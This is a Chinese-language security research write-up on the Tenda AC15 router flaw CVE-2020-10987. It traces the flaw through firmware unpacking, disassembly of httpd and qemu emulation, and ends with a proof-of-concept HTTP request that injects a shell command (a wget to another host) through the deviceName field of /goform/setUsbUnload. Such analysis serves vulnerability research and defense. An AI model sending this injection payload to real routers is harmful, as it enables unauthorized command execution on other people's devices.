Tenda AC15 CVE-2020-10987漏洞分析
[TOC]
1、解包
binwalk -Me AC15.bin
2、固件分析
2.1、流程分析
从/etc_ro/init.d/rcS
开始,这个一般为自启动项。
webroot_ro很可能存在web代码。查看webroot_ro,发现goform
文件夹,推测该webserver为goahead
轻量服务器。
2.2、firmwalker
./firmwalker.sh /home/iot/Desktop/exp/0325/squashfs-root ./ac15.txt
2.3、emba
2.3.1、报错
关于redis无法连接的问题
现在apt install的redis-server会有一个默认密码,查看配置文件。
将requirepass
注释掉即可。
2.3.2、emba.sh
sudo ./emba.sh -l /home/kali/Desktop/0325/log -f /home/kali/Desktop/0325/squashfs-root
需要跑很久。
2.4、其他
也可以使用grep -r "system" ./squashfs-root
命令直接搜索特定关键词system
、write
等进行寻找对特定函数的调用点,进行跟进分析。
3、漏洞分析
3.1、system
3.1.1、分析
使用grep -r "system" ./squashfs-root
命令搜索特定关键词system
。发现httpd中,存在对该字符串的调用,使用IDA打开httpd,搜索system
。
在结果中发现了大量名为doSystemCmd
的函数,根据名字不难看出这是一个执行系统命令的函数。查询该函数的调用关系。
一共182处调用,根据2.1的分析,该httpd使用的是开源的goahead嵌入式服务器,查看其源代码、查找资料。发现其接口的形式为gofrom/AAABBBXXXX
对应于server中的处理函数的形式为function formAAABBBXXXX()
,因此用户直接可控的其实是formXXX
一类的函数,分析范围进一步缩小,仅剩77个函数。
一个个跟进查看,排除没有可控变量的函数,如图:
最终寻找到如下函数:
TendaTelnet
doSystemCmd("telnetd -b %s &", (const char *)v3);
fromSysStatusHandle
doSystemCmd("echo \"0 0\" > /etc/conntime%d", v2);
form_fast_setting_internet_set
doSystemCmd("echo \"0 0\" > /etc/conntime%d", v13);
formWifiBasicSet
doSystemCmd("cfm post time_check %d?string_info=%d", 3, v15);
formSetSambaConf
doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s", 51, 3, v9);
formsetUsbUnload
doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s", 51, 3, v1);
formAddMacfilterRule
doSystemCmd("iptables -t filter -D INPUT -i %s -p icmp -m icmp --icmp-type 8 -j DROP", (const char *)v7);
这些函数均有可控变量,与webroot_ro
文件夹下的前端代码进行比对。
可以直接由前端穿参的仅有formWifiBasicSet
和formsetUsbUnload
两个函数。
var pageModel = R.pageModel({
getUrl: "goform/WifiBasicGet", //获取数据接口
setUrl: "goform/WifiBasicSet", //提交数据接口
translateData: function (data) { //数据转换
var newData = {};
newData.wrlBasic = data;
return newData;
},
afterSubmit: function (str) { //提交数据回调
callback(str);
}
});
function unLinkUsb() {
var devName = $(this).data("target");
$.GetSetData.setData("goform/setUsbUnload", "deviceName=" + encodeURIComponent(devName), unLinkCallback);
}
查看反汇编代码。
在formWifiBasicSet
函数中,其doSystemCmd("cfm post time_check %d?string_info=%d", 3, v15);
中v15
寄存器来自v15 = get_uptime();
,是用户不可控函数,不能使用。
而在formsetUsbUnload
函数中,doSystemCmd("cfm post netctrl %d?op=%d,string_info=%s", 51, 3, v1);
的v1
寄存器存放了由函数sub_2BA8C
处理之后的deviceName
的值。
查看sub_2BA8C
继续查看sub_1FBF4
做了一些判断,但是没有做对内容的过滤,因此可能会存在命令执行漏洞。
3.1.2、qemu模拟
使用qemu进行模拟。
sudo chroot . ./qemu-arm-static --strace ./bin/httpd
a、no device报错问题
定位关键词Welcome to
查看sub_2E420
,下断点。
开启调试
sudo chroot . ./qemu-arm-static --strace -g 8888 ./bin/httpd
发现httpd一直在该处不断循环,导致一直报错ioctl(5,35093,-68124,-68140,1045432,-67612) = -1 errno=19 (No such device)
,同样的问题也发生在下一处判断,猜测是在检索一些特定启动硬件,直接patch修改掉。
将两处MOV R3, R0
全部改为MOV R3, #1
。
b、ip为255.255.255.255问题
再次启动,成功启动,但是web开启在255.255.255.255
上
搜索listen ip
关键词。
v8 = inet_ntoa(*(struct in_addr *)&s.sa_data[2]);
v9 = ntohs(*(uint16_t *)s.sa_data);
printf("httpd listen ip = %s port = %d\n", v8, v9);
可见IP是来自于inet_ntoa
函数,该函数用来进行将[网络地址转换]成“.”点隔的字符串格式。
因此该值由s.sa_data[2]
传来。
根据该判断
if ( a1 )
*(_DWORD *)&s.sa_data[2] = inet_addr(a1);
else
*(_DWORD *)&s.sa_data[2] = 0;
&s.sa_data[2]
的值和a1
有关,查看调用,跟进至sub_29818
。
sub_1B84C
的a1
来自于v8
,来自于g_lan_ip
,来自于全局变量local ip,因此我们设置一个lan ip即可。
设置虚拟网卡,分配ip
sudo tunctl -t br0 -u `whoami`
sudo ifconfig br0 192.168.0.1/24
模拟成功
c、page not found
访问页面,报错404。
根据2.1的分析,在初始化过程中,自启动脚本将webroot_ro
的内容复制进了webroot
中。
本地输入。
rm -rf webroot
sudo ln -s webroot_ro/ webroot
3.1.3、漏洞证明
以系统模式启动qemu
sudo tunctl -t tap2 -u `whoami`
sudo ifconfig tap2 10.10.10.2/24
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress -initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 -append "root=/dev/mmcblk0p2 console=ttyAMA0" -net nic -net tap,ifname=tap2,script=no,downscript=no -nographic
在虚拟机中配置网卡,并下载镜像
ip link add br0 type dummy
ifconfig br0 10.10.10.3/24
ifconfig eth0 10.10.10.1/24
wget http://10.10.10.2:8000/squashfs-root.tar.gz
tar -zxvf squashfs-root.tar.gz
挂载本地环境
mount --bind /proc proc
mount --bind /dev dev
mount --bind /sys sys
启动httpd
cd squashfs-root
chroot . sh
httpd
分析前端代码
查看unLinkUsb
函数绑定的操作,绑定至前端usbWarp
中的.btn-unlink
操作。
全局搜索调用status_usb.js
的文件,位于status_usb.html
web访问
在缺少真实设备的情况下很难找到调用api的具体操作,逆向分析比较耗时,因此搜索代码no usb
该图显示是由于有noUsbDevice
的标签,前端修改,开启burp拦截。
劫持到setUsbUnload
接口
burp改包
成功
3.1.4、POC
POST /goform/setUsbUnload HTTP/1.1
Host: 10.10.10.3
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux aarch64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/plain, */*; q=0.01
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 45
Origin: http://10.10.10.3
Connection: close
Referer: http://10.10.10.3/status_usb.html
Cookie: password=utbrmx
deviceName=1;%20wget%20http://10.10.10.2:9000